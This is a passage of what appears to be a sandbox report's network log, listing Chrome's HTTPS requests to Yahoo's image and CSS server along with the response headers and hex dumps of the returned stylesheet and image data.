2024-01-10 23:27:09 UTC	611	OUT	GET /pv/static/ms/trendingNow-flameIcon.yhome-variable.a2368adb8251677d29ac1399a6f34c43.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	786	IN	HTTP/1.1 200 OK x-amz-id-2: HcmTYjwlsTmv2ZcnAFo+25fSG3w77P0NrLkT0AgYkBDgEI2wKQ+CLJaXNrUSY82drLzkHmh6sQM= x-amz-request-id: ZN01T7QEGCMH0AFT Date: Wed, 10 Jan 2024 22:58:25 GMT Last-Modified: Tue, 28 Mar 2023 10:17:50 GMT ETag: "da05f5d596c887a6a5221011fa70d158" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 1610 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 3a 72 6f 6f 74 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 64 61 72 6b 5d 20 5b 64 61 74 61 2d 6d 61 69 6e 74 61 69 6e 2d 63 6f 6c 6f 72 5d 2c 68 74 6d 6c 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 2d 65 6e 61 62 6c 65 64 5d 5b 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2d 2d 73 72 63 68 2d 74 6e 2d 66 6c 61 6d 65 2d 63 6f 6c 6f 72 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 2d 36 33 2e 39 34 64 65 67 2c 20 23 31 44 32 32 32 38 20 30 25 2c 20 23 31 44 32 32 32 38 20 31 36 2e 31 25 2c 20 23 42 32 33 39 30 39 20 31 36 2e 31 25 2c 20 23 42 32 33 39 30 39 20 33 32 2e 32 25 2c 20 23 46 46 35 32 30 44 20 33 32 2e 32 25 2c 20 23 46 46 35 32 30 44 20 34 38 2e 32 25 2c 20 23 31 44 32 32 32 Data Ascii: :root,html[data-color-scheme=dark] [data-maintain-color],html[data-color-theme-enabled][data-color-scheme=light]{--srch-tn-flame-color:linear-gradient(-63.94deg, #1D2228 0%, #1D2228 16.1%, #B23909 16.1%, #B23909 32.2%, #FF520D 32.2%, #FF520D 48.2%, #1D222
2024-01-10 23:27:09 UTC	310	IN	Data Raw: 39 20 33 32 2e 32 25 2c 20 23 46 46 35 32 30 44 20 33 32 2e 32 25 2c 20 23 46 46 35 32 30 44 20 34 38 2e 32 25 2c 20 23 31 44 32 32 32 38 20 34 38 2e 32 25 2c 20 23 31 44 32 32 32 38 20 36 37 2e 38 25 2c 20 23 42 32 33 39 30 39 20 36 37 2e 38 25 2c 20 23 42 32 33 39 30 39 20 38 33 2e 39 25 2c 20 23 46 46 35 32 30 44 20 38 33 2e 39 25 29 3b 2d 2d 73 72 63 68 2d 74 6e 2d 66 6c 61 6d 65 2d 69 63 6f 6e 3a 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 69 63 6f 6e 2d 66 6c 61 6d 65 2d 6c 69 67 68 74 2d 32 30 32 33 30 33 30 31 30 33 35 32 2e 67 69 66 27 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 72 63 68 54 6e 54 65 78 74 41 6e 69 6d 74 69 6f 6e 7b 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 Data Ascii: 9 32.2%, #FF520D 32.2%, #FF520D 48.2%, #1D2228 48.2%, #1D2228 67.8%, #B23909 67.8%, #B23909 83.9%, #FF520D 83.9%);--srch-tn-flame-icon:url('https://s.yimg.com/pv/static/img/icon-flame-light-202303010352.gif')}}@keyframes srchTnTextAnimtion{0%{background-p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49809	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	530	OUT	GET /uu/api/res/1.2/Kstf7xcrcLS_DLgjPNI.Lw--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/44284b40-afef-11ee-98df-d7a77341121b.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1298	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 385868450103706039527265479118458225412,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="44284b40-afef-11ee-98df-d7a77341121b.webp" Edge-Cache-Tag: 385868450103706039527265479118458225412,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "bb7dbe3ab8733756c82c4afa8a0113d6" Last-Modified: Wed, 10 Jan 2024 19:34:29 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=356,height=180,bytes=10566,owidth=2298,oheight=1294,obytes=219025,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: aaf436b42cb0158d834733f06b7af43f Accept-Ranges: bytes Date: Wed, 10 Jan 2024 19:55:47 GMT X-Served-By: cache-iad-kjyo7100059-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704916547.241994,VS0,VE1 Age: 12682 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: aaf436b42cb0158d834733f06b7af43f cld_by: cache-iad-kjyo7100059-IAD cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 25913 ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 40 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 cf 00 06 00 03 00 00 00 00 00 00 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: JFIF@ICC_PROFILE0ADBEmntrRGB XYZ acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 84 1d 94 65 c7 ae 00 ca 32 e3 d7 00 65 1e e0 14 cc 00 79 80 0c b8 f5 c0 06 5c 7a e0 13 28 cb 8f 5c 01 94 65 c7 ae 00 ca 32 e3 d7 00 65 1a 97 5b 4f 55 0c 01 94 79 df b5 f8 d8 03 28 ce fd af c6 c0 19 46 77 ed 7e 36 17 0c 53 3b e6 bf 18 60 da d8 1e 29 f6 85 be 75 23 eb 38 36 b1 ad e0 f3 da 59 ff 00 1c df f3 b0 bb 58 29 19 ed 2d 7f 8e 6f f9 d8 36 b1 37 19 ed 2c ff 00 8f 6f f9 d8 36 b0 dc 78 65 30 3d e9 0d 8f b7 09 b5 8b b8 c3 32 37 f9 4a 3e fc 1b 58 64 f0 ce 89 fe 52 df df 83 00 d9 a1 a9 c0 4f 59 ac 8b fa ac 0c 2e d6 1b 8f 0d 56 9d fe 5d 1f fa 44 e0 da c1 b3 3e 56 a7 7f 97 b1 fd 22 70 6d 62 6e 35 5d 6a 94 9f ef 84 7f e9 13 fa f0 98 62 b6 68 73 05 10 7f 7e 22 7f 4c 9c 18 61 b8 f3 f0 8a 85 ff 00 c5 e2 7f 4c 9c 18 62 e4 6d af 49 72 33 6e 38 83 f5 8c 3d 0d 60 3a Data Ascii: e2ey\z(\e2e[OUy(Fw~6S;`)u#86YX)-o67,o6xe0=27J>XdROY.V]D>V"pmbn5]jbhs~"LaLbmIr3n8=`:
2024-01-10 23:27:09 UTC	1148	IN	Data Raw: af ec bd 94 31 47 61 2a 78 12 27 3c 39 4e 90 87 e3 af a7 51 7b 6e c3 d4 44 6f dc b1 5a 45 a9 6c d4 a2 37 be 55 94 6c 3a f2 93 87 31 32 15 aa 8b 45 52 19 55 82 b7 27 cb 08 96 04 2a e6 ae b2 e4 39 0b 42 f9 bd fa 62 78 91 e0 0e 77 87 71 f0 f4 c4 8b 00 df 07 56 5f bd ac 31 32 6b b8 d6 38 31 2d 08 07 7f 17 c2 ee 88 82 d6 eb 01 b4 d8 1c 19 88 1a 1a e9 b9 e7 0b 94 35 9d 59 ae 9f 5c 23 92 10 f2 45 74 80 2c 71 1b ee 2a 10 bb 5f 24 9e 70 82 f0 25 fc 20 29 18 51 30 24 97 98 c8 52 78 1e 7e 78 07 0d b2 eb 5b d4 57 7b 5f cb 0d 62 60 42 e5 5b 7f 0a 56 18 28 9d da 8b 76 f7 ce 0c 8e 4b 02 27 6a 49 27 de 38 46 d1 22 48 63 99 51 49 09 1b 8f 9e 18 c7 61 08 4c db ab ce d8 6b 0c 26 77 6e 60 4f 21 27 0c 90 34 8e 9f 28 7e 30 27 0c 6c 31 ec 61 a9 b8 07 04 9c 34 53 c4 d5 1d 1e b8 Data Ascii: 1Gax'<9NQ{nDoZEl7Ul:12ERU'9BbxwqV_12k81-5Y\#Et,q*_$p% )Q0$Rx~x[W{_b`B[V(vK'jI'8F"HcQIaLk&wn`O!'4(~0'l1a4S
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 92 a4 87 e2 3a 85 ac fb c6 c7 1b 8b b1 14 7b 03 ef 67 35 29 bd c3 42 e5 c5 04 8c 2f 61 e8 36 64 cc 8c 69 e8 6d f6 5a da 2d 72 0f eb c4 32 98 a9 70 12 95 2d b8 54 a7 d5 2d 48 69 b4 24 6f 71 6b 09 4a 47 3c 95 1b 00 3e b3 88 b7 91 ed cb c0 d5 96 93 92 6a ae 7b 6c ac d9 97 c6 f5 d9 2a 35 46 08 36 04 9b 90 be 38 04 fd 87 07 8b e8 4a a8 13 69 92 f2 24 58 dd cb b5 96 b7 58 2a e9 61 d5 24 83 d2 ca 4a 48 3f 61 c4 39 68 5f 00 84 4d ca 74 8f 6e 35 aa 4c d4 39 1d 5c 97 3d 92 40 47 17 27 9e ee dc 01 81 d5 c2 13 c0 44 db 2e e6 cc 9b 47 8c 5d 9b 5e 81 19 96 41 2e b8 ea b6 06 ed e6 ab db 68 1e 64 e3 3f 6e 79 15 51 c0 55 ca 79 83 2f e6 58 3e df 97 2b 74 fa 9c 5e 01 7a 1b e8 75 20 91 7b 12 92 40 36 23 06 d0 db b4 92 b4 bd a0 58 60 da 1b 72 74 2e 6f ea 30 6d 1c 62 4e 0d a0 Data Ascii: :{g5)B/a6dimZ-r2p-T-Hi$oqkJG<>j{l5F68Ji$XXa$JH?a9h_Mtn5L9\=@G'D.G]^A.hd?nyQUy/X>+t^zu {@6#X`rt.o0mbN
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: c5 58 81 ef 5b aa 4d 9a e2 03 86 a1 6b 0e 60 cc ba 67 55 a6 bd 17 b8 5c 59 0d ab b9 8e a0 98 a9 69 60 84 96 d2 2c 52 af 10 3c 95 12 7a d8 70 62 92 00 c9 a0 fa cf 13 4f 28 2c 48 cd 55 86 e2 45 a8 43 8a fb 28 08 0d 20 3a eb 49 74 f1 b8 dc 8d fc 1e bb 54 91 e4 2d 1c b0 24 82 a3 7d ac 74 dd 6e 04 7e 10 34 2f e7 71 88 a5 d8 30 3a 31 da 5b 23 3a de e4 56 d2 71 04 98 2c 9d bf b2 33 25 1b 9f 96 d3 86 ee 1d 87 ec 68 ae d2 39 19 26 ca ab a4 fd b8 5d c1 86 6a ae d2 fa 7e 8e b5 94 df eb c2 6e 11 a6 27 57 6a 5d 35 45 b7 e6 06 05 fa 78 ff 00 e5 8b 59 44 49 f2 7c f3 ed 5b 42 a4 4b ed 21 58 4d 22 9b 1d b6 1e aa 25 05 94 23 97 81 57 2a 3e be 24 aa f8 58 ac 92 25 80 93 a4 39 2b 2b d4 74 37 53 aa 15 2c b5 4f 7d fa 2c 9a 32 62 4a 5c 44 17 63 34 a9 e0 38 94 aa d7 b2 86 db 83 Data Ascii: X[Mk`gU\Yi`,R<zpbO(,HUEC( :ItT-$}tn~4/q0:1[#:Vq,3%h9&]j~n'Wj]5ExYDI\|[BK!XM"%#W*>$X%9++t7S,O},2bJ\Dc48
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: e5 17 29 0a 01 cd d6 b7 c2 d7 b7 e9 24 e2 ad 6f 94 9e dd e6 a7 07 0d 55 aa 33 ed 54 54 c1 da 84 a6 96 ce e0 cb a4 a7 77 3b ba a4 10 6f 7b a6 d6 4f 40 48 17 c4 29 b0 97 72 10 d5 4e 51 25 05 c5 90 af 25 2a f8 73 59 22 c0 b6 3d 46 41 be e5 95 5f d4 f4 c2 35 82 48 ac 0b 5b 9e fd 80 be 23 71 27 47 27 e7 bc 00 e7 08 a2 42 d8 de f4 a5 5e ea b9 fb 71 22 42 e7 07 14 cd 28 37 48 20 fd 78 05 4f 22 d4 4e 2a 40 bf 5c 31 ac 12 21 1c 97 94 09 58 27 9c 23 5e a3 5e 5b 11 aa 52 c1 ea 70 9b 46 9f a3 1a ea bf ec e7 2e 7e 89 c5 cc 15 8a 79 57 63 66 67 70 ee bd 9f 1e 5f 1c 5a b7 5c 14 ab be 4b ad a7 ab ef 72 7d 2d 7d 2f 1d 3f 9b 15 24 5b 87 24 73 b4 1c 5f 6b d2 3c c2 de db fe e5 57 d9 89 ad 3f 9a 36 b2 ca 3e 5a 54 68 25 a5 28 80 7d e3 e5 8d dc 15 50 d7 47 84 59 af c4 21 16 51 Data Ascii: )$oU3TTw;o{O@H)rNQ%%sY"=FA_5H[#q'G'B^q"B(7H xO"N@\1!X'#^^[RpF.~yWcfgp_Z\Kr}-}/?$[$s_k<W?6>ZTh%(}PGY!Q
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: e6 41 a4 2e d6 bc 71 c7 e4 c5 0b 85 86 5d b7 e5 1c 35 96 e7 4d 6b a3 fd 15 67 ee 18 2d 9f df 0f ad d8 f9 71 98 aa 0c a2 5b bc fd 23 e7 8e 8d 14 c8 fc 77 50 e5 4e 2b 88 37 f9 d1 7f bf 08 fb 0e 89 73 b2 12 0a e9 2c 9b 7d 04 e3 25 be 4b 30 1a f5 eb 57 b3 6e 8a 69 c4 cc c5 92 28 aa a8 55 65 38 98 c9 26 3a dd 6e 33 56 25 6e 90 9e 2e 38 b6 ee 3a de fd 31 1b 2c d3 47 cd ac af 5c 2f 66 68 55 6a 95 71 86 66 3d 2b bd 76 4c a7 3b be ed 6e 2e e5 7d e7 40 77 28 92 4f 41 86 4a 45 a8 d3 c7 25 e1 cc f3 7b 1e 50 e7 47 99 ac 5a a3 1e a3 5c a9 b1 ed f2 e7 47 ca 2d 4c 6a 60 5f 29 79 2f 26 2b 81 41 5c 9b 85 70 6e 05 ad 88 66 90 bf 37 a0 3d ce 39 b7 b0 24 96 26 af 2d e7 ea 34 99 ae 32 a4 b2 cb b9 21 71 50 1d fa 0a dc dc 2b df ad ef f0 e9 8a f2 48 55 96 00 ab 75 cc 91 0a 2b 95 Data Ascii: A.q]5Mkg-q[#wPN+7s,}%K0Wni(Ue8&:n3V%n.8:1,G\/fhUjqf=+vL;n.}@w(OAJE%{PGZ\G-Lj`_)y/&+A\pnf7=9$&-42!qP+HUu+
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 2d e7 ea f4 3a a5 47 22 d0 a9 ce c6 a6 40 84 eb 55 48 f5 16 66 a5 c6 e3 a1 2e 85 25 b6 ca 48 0b 04 25 4b 06 e9 48 36 e6 d8 4b 8b d5 ee 68 42 c5 bf 40 74 cc ad 0f 66 43 b2 2a 19 7e 0b 9b d2 14 a4 b5 52 9c 1c 71 5b 81 3b 07 b2 04 8e 38 b1 e2 ca 3c 83 8a f1 bb c9 34 6c b1 e8 36 ea a6 74 c8 e8 14 67 e8 9a 76 e5 06 94 f4 b4 48 61 32 5b 5f ee b6 13 c1 51 69 4e a9 45 25 5b 93 e1 55 8f 41 6e 2d 6e 13 c9 91 75 1d ad 91 ed 4a 8d 59 86 fd 18 55 01 31 95 46 8a ba 76 d5 05 34 62 94 90 36 14 92 2d bd 2e 02 2f 70 a4 a9 2a b2 81 18 d8 b7 59 30 eb 3c 04 bc 83 39 93 47 8b cd ae de ef bf 16 9f 62 7b 65 96 21 d4 69 91 9f 84 96 fe 9f 78 36 e3 1e e2 e3 06 82 b5 c9 11 a5 51 d7 35 09 45 af 6f c9 8a 3e 6b ea 5c f2 dc 0d d9 af 2f 3b 06 2b b2 12 8d e1 3d 45 ad 8b d6 f7 39 33 ae 6d Data Ascii: -:G"@UHf.%H%KH6KhB@tfC~Rq[;8<4l6tgvHa2[_QiNE%[UAn-nuJYU1Fv4b6-./pY0<9Gb{e!ix6Q5Eo>k\/;+=E93m
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 37 f0 3e ac de ff 00 a2 98 6a 5d be de 31 97 e7 6a db 3d b9 2f 6c a0 fd 7f 62 27 9f a8 34 9a 9e 5c 19 63 52 e5 4f a5 57 f2 fa 16 cd 1a 62 20 ef 2a 63 71 57 b3 c9 e4 2c a7 72 bc 0a 02 e8 dc a0 6e 2c 06 dd 8d f6 ee 72 73 ba b5 92 7c a2 3b a4 15 af c3 69 10 34 3b 34 fc eb 53 a7 25 9a 24 a5 8f 1c 09 ce a8 25 03 75 ff 00 78 71 61 09 5a 7a 01 f3 9d 5b 09 57 61 69 70 71 97 36 d8 09 54 ba 3c 98 11 12 c1 17 b0 16 e3 a0 c5 eb 87 c0 eb 5a 44 27 39 4e 79 8a 91 8a b3 72 00 5a 87 e6 c6 0d c3 ee 6f 50 c6 45 59 4a 7b 32 1c 53 26 e9 52 40 36 27 ae 32 f9 c9 71 e3 07 4c e1 c4 47 7f 92 71 ad 6c 8c 1d 43 90 02 8a 6d 46 b7 5a 8b 45 a5 c6 5b f3 26 c8 44 68 ed 27 ab 8e ad 41 28 40 f8 92 40 1f 5e 35 a2 64 34 1a b3 5e 6d cb da 7f 43 7b 41 72 34 c4 25 a6 26 94 57 6a e9 64 a9 da 9c Data Ascii: 7>j]1j=/lb'4\cROWb *cqW,rn,rs\|;i4;4S%$%uxqaZz[Waipq6T<ZD'9NyrZoPEYJ{2S&R@6'2qLGqlCmFZE[&Dh'A(@@^5d4^mC{Ar4%&Wjd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49810	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:09 UTC	763	OUT	GET /uu/api/res/1.2/DulSD3uwY739wuo0b_JK8A--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a9a213c0-afef-11ee-b1fd-29b234274d16.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:09 UTC	1284	IN	HTTP/1.1 200 OK Content-Length: 5932 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 356609487316025369768783900090145151598,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="a9a213c0-afef-11ee-b1fd-29b234274d16.webp" Edge-Cache-Tag: 356609487316025369768783900090145151598,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "e52cbc5c9d7b759a123a66e8bf5846a1" Last-Modified: Wed, 10 Jan 2024 19:37:45 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=356,height=180,bytes=5932,owidth=3638,oheight=2047,obytes=449642,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 513360a465b65a0c061db04eb3a0be76 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 19:47:27 GMT X-Served-By: cache-iad-kiad7000051-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704916048.723645,VS0,VE28 Age: 13182 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_id: 513360a465b65a0c061db04eb3a0be76 cld_by: cache-iad-kiad7000051-IAD cld_latency: 28 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 52 49 46 46 24 17 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 63 01 00 b3 00 00 49 43 43 50 30 02 00 00 00 00 02 30 41 44 42 45 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 cf 00 06 00 03 00 00 00 00 00 00 61 63 73 70 41 50 50 4c 00 00 00 00 6e 6f 6e 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 41 44 42 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 63 70 72 74 00 00 00 fc 00 00 00 32 64 65 73 63 00 00 01 30 00 00 00 6b 77 74 70 74 00 00 01 9c 00 00 00 14 62 6b 70 74 00 00 01 b0 00 00 00 14 72 54 52 43 00 00 01 c4 00 00 00 0e 67 54 52 43 00 00 01 d4 00 00 00 0e 62 54 52 43 00 00 01 e4 00 00 00 0e 72 Data Ascii: RIFF$WEBPVP8X cICCP00ADBEmntrRGB XYZ acspAPPLnone-ADBEcprt2desc0kwtptbkptrTRCgTRCbTRCr
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 16 33 18 3f dd 31 e1 53 7c 21 5d a7 4e a0 2e e4 dd 21 f5 1f db df f9 a9 e3 13 9d e0 98 e1 9a 06 dd ee b7 f5 7f f7 22 12 b0 f3 f1 30 e1 1e 89 02 fc ec 41 4c 22 59 b5 8c 53 db b0 7f 86 54 9c a0 45 8e 63 a9 23 8e c6 ad 51 51 b1 56 21 54 ff 83 9b 6e a2 97 11 56 02 45 4f 56 99 b6 2c 71 bd 3a 4b 1a 7f da 93 e0 ee b6 4d c0 cf 2b fd 66 1c be db bb f7 a3 23 ee 13 68 e7 a0 a6 99 30 12 f8 9c 2f fb a7 81 6f 38 91 ac 69 84 f3 5b 4a 41 2f 1b 96 44 97 b8 ba 8f 89 ca 9b 08 a8 c9 29 dd 35 be 5e bf b6 d6 45 4f 45 f6 82 81 89 b4 4a 45 71 50 80 54 d5 22 84 00 fe f7 97 5e e3 60 75 f4 db f2 22 50 cb 5b 6b c5 7c 18 90 47 d7 d1 56 8f db cb e2 bd 14 35 d2 fd 6e 25 db 84 36 5d 48 0a 2d 00 51 4b 52 e5 55 41 28 0b 07 5e fd 8b 18 c3 1e d9 00 1b fc da 5f d2 2d 19 11 b3 f2 f9 b0 5c 88 Data Ascii: 3?1S\|!]N.!"0AL"YSTEc#QQV!TnVEOV,q:KM+f#h0/o8i[JA/D)5^EOEJEqPT"^`u"P[k\|GV5n%6]H-QKRUA(^_-\
2024-01-10 23:27:09 UTC	1300	IN	Data Raw: 54 04 e7 9a 02 6e c4 55 0b 16 8a 23 a0 ce 28 49 15 e1 a9 d5 82 7c 35 99 0c e8 95 cd 32 aa 66 7e c7 84 f8 07 c2 86 98 95 1f 5f 2c 95 57 7d 80 51 69 3b 62 45 c6 e1 ac 84 cc 4d 29 04 4e e7 98 b7 fc 34 90 08 ce ee e6 b9 5d ca b4 46 f8 7d 17 7e 75 3d 4b 6c 53 5f e1 53 e1 c4 0c e9 58 d2 19 9e ed 41 3a ad 66 36 a3 e0 26 fe 7b 37 cb d6 94 2c 29 72 94 5b ee c1 53 f2 f3 31 9d 4f 7f 0f 5f a3 a3 9b 98 d8 94 85 52 85 0f 5e f5 51 c6 5d fc 76 10 89 f9 fa 6f ab 57 55 6f 1b ea e2 ac 3b 04 a4 2a 01 78 54 37 33 95 2d b8 92 52 ec 96 f5 41 fc 5b 28 94 e5 d7 c2 e6 7d 91 b2 ce 00 af d8 ad 0f c8 b8 45 6f 95 e9 ac a9 fb e9 89 95 5d ad eb 9c 92 f7 a4 96 cc 8d f1 c7 55 91 15 ac 2c 58 5d ea 12 ad 8f 01 f7 3e ae 49 e1 5d 61 e4 10 9d 32 aa a8 4c 51 4b 81 ba 4e 8a af 24 70 dd 8a 4e 61 Data Ascii: 